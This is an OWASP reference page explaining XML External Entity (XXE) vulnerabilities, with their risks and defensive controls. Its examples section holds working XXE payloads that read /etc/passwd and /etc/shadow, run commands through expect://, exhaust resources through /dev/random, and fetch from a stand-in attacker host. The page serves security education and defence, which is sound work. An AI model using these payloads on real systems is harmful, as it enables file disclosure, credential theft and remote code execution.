Please support the OWASP mission to improve software security through open source initiatives and community education.
Donate Now!

XML External Entity (XXE) Processing

Watch 181 Star 1,120

Thank you for visiting OWASP.org. We have migrated our community to a new web platform and regretably the content for this page needed to be programmatically ported from its previous wiki page. There's still some work to be done.

NVD Categorization

CWE-611: Improper Restriction of XML External Entity Reference: The software processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output.

Description

An *XML External Entity* attack is a type of attack against an application that parses XML input. This attack occurs when **XML input containing a reference to an external entity is processed by a weakly configured XML parser**. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.

The XML 1.0 standard defines the structure of an XML document. The standard defines a concept called an entity, which is a storage unit of some type. There are a few different types of entities, external general/parameter parsed entity often shortened to **external entity**, that can access local or remote content via a declared system identifier. The system identifier is assumed to be a URI that can be dereferenced (accessed) by the XML processor when processing the entity. The XML processor then replaces occurrences of the named external entity with the contents dereferenced by the system identifier. If the system identifier contains tainted data and the XML processor dereferences this tainted data, the XML processor may disclose confidential information normally not accessible by the application. Similar attack vectors apply the usage of external DTDs, external stylesheets, external schemas, etc. which, when included, allow similar external resource inclusion style attacks.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier. Since the attack occurs relative to the application processing the XML document, an attacker may use this trusted application to pivot to other internal systems, possibly disclosing other internal content via http(s) requests or launching a CSRF attack to any unprotected internal services. In some situations, an XML processor library that is vulnerable to client-side memory corruption issues may be exploited by dereferencing a malicious URI, possibly allowing arbitrary code execution under the application account. Other attacks can access local resources that may not stop returning data, possibly impacting application availability if too many threads or processes are not released.

Note that the application does not need to explicitly return the response to the attacker for it to be vulnerable to information disclosures. An attacker can leverage DNS

The OWASP® Foundation works to improve the security of software through its community-led open source software projects, hundreds of chapters worldwide, tens of thousands of members, and by hosting local and global conferences.

Important Community Links

Community
Attacks
Vulnerabilities (You are here)
Controls

Upcoming OWASP Global Events

OWASP Global AppSec Washington DC 2025
- November 3-7, 2025

OWASP Global AppSec San Francisco 2026
- November 2-6, 2026

This website uses cookies to analyze our traffic and only share that information with our analytics partners.
Accept
x

information to exfiltrate data through subdomain names to a DNS server that they controls.

Risk Factors

- The application parses XML documents.
- Tainted data is allowed within the system identifier portion of the entity, within the document type declaration (DTD).
- The XML processor is configured to validate and process the DTD.
- The XML processor is configured to resolve external entities within the DTD.

Examples

The examples below are from Testing for XML Injection (OWASP-DV-008).

Accessing a local resource that may not return

```
<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM  "file:///dev/random" >]>
<foo>&xxe;</foo>
```

Remote Code Execution

If fortune is on our side, and the PHP “expect” module is loaded, we can get RCE. Let’s modify the payload

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo
  [<!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
  <user>`&xxe;`</user>
  <pass>`mypass`</pass>
</creds>
```

Disclosing /etc/passwd or other targeted files

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
```

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/shadow" >]>
<foo>&xxe;</foo>
```

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]>
<foo>&xxe;</foo>
```

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
```

This website uses cookies to analyze our traffic and only share that information with our analytics partners.

Accept

x

```
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]>
<foo>&xxe;</foo>
```

Related Attacks

- SQL Injection
- Blind SQL Injection

Related Vulnerabilities

- Missing XML Validation

Related Controls

Since the whole XML document is communicated from an untrusted client, it's not usually possible to selectively validate or escape tainted data within the system identifier in the DTD. Therefore, the XML processor should be configured to use a local static DTD and disallow any declared DTD included in the XML document.

Detailed guidance on how to disable XXE processing, or otherwise defend against XXE attacks is presented in the XML External Entity (XXE) Prevention Cheat Sheet.

References

- OWASP XML External Entity (XXE) Prevention Cheat Sheet
- Timothy Morgan's 2014 Paper: XML Schema, DTD, and Entity Attacks - A Compendium of Known Techniques
- Precursor presentation of above paper - at OWASP AppSec USA 2013
- CWE-611: Information Exposure Through XML External Entity Reference
- CWE-827: Improper Control of Document Type Definition
- Sascha Herzog's Presentation on XML External Entity Attacks - at OWASP AppSec Germany 2010
- PostgreSQL XXE vulnerability
- SharePoint and DotNetNuke XXE Vulnerabilities, in French
- XML Denial of Service Attacks and Defenses (in .NET)
- Early (2002) BugTraq Article on XXE

Category:API_Abuse

Edit on GitHub

Spotlight: ThreatModeler Software, Inc.

ThreatModeler

ThreatModeler's suite of products empowers DevOps teams to measure their threat drift from code to cloud. With a fraction of the time and cost tied to other tools, users can design, build and validate threat drift from development to deployment. Teams can instantly visualize their attack surface, understand security requirements and prioritize steps to mitigate threats. CISOs can make critical security-driven business decisions to scale their infrastructure for growth.

Corporate Supporters

Cydrill Code responsibly

blend-ed

MEND

tenable

This website uses cookies to analyze our traffic and only share that information with our analytics partners.

Accept

x

eShard appdome root arnica Fortify

Become a corporate supporter

OWASP, the OWASP logo, and Global AppSec are registered trademarks and AppSec Days, AppSec California, AppSec Cali, SnowFROC, and LASCON are trademarks of the OWASP Foundation, Inc. Unless otherwise specified, all content on the site is Creative Commons Attribution-ShareAlike v4.0 and provided without warranty of service or accuracy. For more information, please refer to our General Disclaimer. OWASP does not endorse or recommend commercial products or services, allowing our community to remain vendor neutral with the collective wisdom of the best minds in software security worldwide. Copyright 2024, OWASP Foundation, Inc.

This website uses cookies to analyze our traffic and only share that information with our analytics partners.

Accept

x